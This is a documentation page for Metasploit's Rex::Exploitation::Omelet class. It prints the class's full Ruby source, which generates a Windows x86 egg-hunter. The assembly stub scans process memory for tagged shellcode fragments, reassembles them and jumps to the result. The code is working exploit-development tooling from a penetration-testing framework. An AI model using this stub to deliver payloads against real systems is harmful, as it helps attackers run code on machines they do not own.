class Rex::Exploitation::Omelet

This class provides an interface to generating an eggs-to-omelet hunter for win/x86.

Written by corelanc0d3r <peter.ve@corelan.be>

Public Class Methods

new(platform, arch = nil) click to toggle source

Creates a new hunter instance and acquires the sub-class that should be used for generating the stub based on the supplied platform and architecture.

# File lib/rex/exploitation/omelet.rb, line 52
def initialize(platform, arch = nil)
  Omelet.constants.each { |c|
    mod = self.class.const_get(c)

    next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))

    if (platform =~ /#{mod.const_get('Alias')}/i)
      self.extend(mod)

      if (arch and mod)
        mod.constants.each { |a|
          amod = mod.const_get(a)

          next if ((!amod.kind_of?(::Module)) or
            (!amod.const_defined?('Alias')))

          if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
              amod = mod.const_get(a)

              self.extend(amod)
            end
          }
        end
      end
    }
  end

Public Instance Methods

generate(payload, badchars = '', opts = {}) click to toggle source

This method generates an eggs-to-omelet hunter using the derived hunter stub.

# File lib/rex/exploitation/omelet.rb, line 82
    def generate(payload, badchars = '', opts = {})

      eggsize       = opts[:eggsize] || 123
      eggtag        = opts[:eggtag] || "00w"
      searchforward = opts[:searchforward] || true
      reset         = opts[:reset]
      startreg      = opts[:startreg]
      usechecksum   = opts[:checksum]
      adjust        = opts[:adjust] || 0

      return nil if ((opts = hunter_stub) == nil)

      # calculate number of eggs
      payloadlen = payload.length
      delta = payloadlen / eggsize
      delta = delta * eggsize
      nr_eggs = payloadlen / eggsize
      if delta < payloadlen
        nr_eggs = nr_eggs+1
      end

      nr_eggs_hex = "%02x" % nr_eggs
      eggsize_hex = "%02x" % eggsize

      hextag = ''
      eggtag.each_byte do |thischar|
        decchar = "%02x" % thischar
        hextag = decchar + hextag
      end
      hextag = hextag + "01"

      # search forward or backward ?
      setflag      = nil
      searchstub1  = nil
      searchstub2  = nil
      flipflagpre  = ''
      flipflagpost = ''
      checksum     = ''

      if searchforward
        # clear direction flag
        setflag     = "cld"
        searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
        searchstub2 = "inc edx"
      else
        # set the direction flag
        setflag      = "std"
        searchstub1  = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
        searchstub2  = "dec edx"
        flipflagpre  = "cld\n\tsub esi,-8"
        flipflagpost = "std"
      end

      # will we have to adjust the destination address ?
      adjustdest = ''
      if adjust > 0
        adjustdest = "\n\tsub edi,#{adjust}"
      elsif adjust < 0
        adjustdest = "\n\tadd edi,#{adjust}"
      end

      # prepare the stub that starts the search
      startstub = ''
      if startreg
        if startreg.downcase != 'ebp'
          startstub << "mov ebp,#{startreg}"
        end
        startstub << "\n\t" if startstub.length > 0
        startstub << "mov edx,ebp"
      end
      # a register will be used as start location for the search
      startstub << "\n\t" if startstub.length > 0
      startstub << "push esp\n\tpop edi\n\tor di,0xffff"
      startstub << adjustdest
      # edx will be used, start at end of stack frame
      if not startreg
        startstub << "\n\tmov edx,edi"
        if reset
          startstub << "\n\tpush edx\n\tpop ebp"
        end
      end

      # reset start after each egg was found ?
      # will allow to find eggs when they are out of order/sequence
      resetstart = ''
      if reset
        resetstart = "push ebp\n\tpop edx"
      end

                        #checksum code by dijital1 & corelanc0d3r
      if usechecksum
        checksum = <<EOS
  xor ecx,ecx
  xor eax,eax
calc_chksum_loop:
  add al,byte [edx+ecx]
  inc ecx
  cmp cl, egg_size
  jnz calc_chksum_loop
test_chksum:
  cmp al,byte [edx+ecx]
  jnz find_egg
EOS
      end

      # create omelet code
      omelet_hunter = <<EOS

  nr_eggs equ 0x#{nr_eggs_hex}  ; number of eggs
  egg_size equ 0x#{eggsize_hex}         ; nr bytes of payload per egg
  hex_tag equ 0x#{hextag}               ; tag

  #{setflag}                    ; set/clear direction flag
  jmp start

  ; routine to calculate the target location
  ; for writing recombined shellcode (omelet)
  ; I'll use EDI as target location
  ; First, I'll make EDI point to end of stack
  ; and I'll put the number of shellcode eggs in eax
get_target_loc:
  #{startstub}          ; use edx as start location for the search
  xor eax,eax           ; zero eax
  mov al,nr_eggs                ; put number of eggs in eax

calc_target_loc:
  xor esi,esi           ; use esi as counter to step back
  mov si,0-(egg_size+20)        ; add 20 bytes of extra space, per egg

get_target_loc_loop:    ; start loop
  dec edi               ; step back
  inc esi               ; and update ESI counter
  cmp si,-1     ; continue to step back until ESI = -1
  jnz get_target_loc_loop
  dec eax               ; loop again if we did not take all pieces
               ; into account yet
  jnz calc_target_loc

  ; edi now contains target location
  ; for recombined shellcode
  xor ebx,ebx           ; put loop counter in ebx
  mov bl,nr_eggs+1
  ret

start:
  call get_target_loc   ; jump to routine which will calculate shellcode dst address

  ; start looking for eggs, using edx as basepointer
  jmp search_next_address

find_egg:
  #{searchstub1}                ; based on search direction

search_next_address:
  #{searchstub2}                ; based on search direction
  push edx              ; save edx
  push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
  pop eax               ; set eax to 0x02
  int 0x2e
  cmp al,0x5            ; address readable ?
  pop edx               ; restore edx
  je search_next_address  ; if addressss is not readable, go to next address

  mov eax,hex_tag       ; if address is readable, prepare tag in eax
  add eax,ebx           ; add offset (ebx contains egg counter, remember ?)
  xchg edi,edx          ; switch edx/edi
  scasd                 ; edi points to the tag ?
  xchg edi,edx          ; switch edx/edi back
  jnz find_egg          ; if tag was not found, go to next address
  ;found the tag at edx

   ;do we need to verify checksum ? (prevents finding corrupted eggs)
   #{checksum}

copy_egg:
  ; ecx must first be set to egg_size (used by rep instruction) and esi as source
  mov esi,edx           ; set ESI = EDX (needed for rep instruction)
  xor ecx,ecx
  mov cl,egg_size       ; set copy counter
  #{flipflagpre}                ; flip destination flag if necessary
  rep movsb             ; copy egg from ESI to EDI
  #{flipflagpost}               ; flip destination flag again if necessary
  dec ebx               ; decrement egg
  #{resetstart}         ; reset start location if necessary
  cmp bl,1              ; found all eggs ?
  jnz find_egg          ; no = look for next egg
  ; done - all eggs have been found and copied

done:
  call get_target_loc   ; re-calculate location where recombined shellcode is placed
  cld
  jmp edi               ; and jump to it :)
EOS

      the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string

      # create the eggs array
      total_size = eggsize * nr_eggs
      padlen = total_size - payloadlen
      payloadpadding = "A" * padlen

      fullcode = payload + payloadpadding
      eggcnt = nr_eggs + 2
      startcode = 0

      eggs = []
      while eggcnt > 2 do
        egg_prep = eggcnt.chr + eggtag
        this_egg = fullcode[startcode, eggsize]
            if usechecksum
          cksum = 0
          this_egg.each_byte { |b|
            cksum += b
          }
          this_egg << [cksum & 0xff].pack('C')
        end

        this_egg = egg_prep + this_egg
        eggs << this_egg

        eggcnt -= 1
        startcode += eggsize
      end

      return [ the_omelet, eggs ]
    end

Protected Instance Methods

hunter_stub() click to toggle source

Stub method that is meant to be overridden. It returns the raw stub that should be used as the omelet maker (combine the eggs).

# File lib/rex/exploitation/omelet.rb, line 315
def hunter_stub
end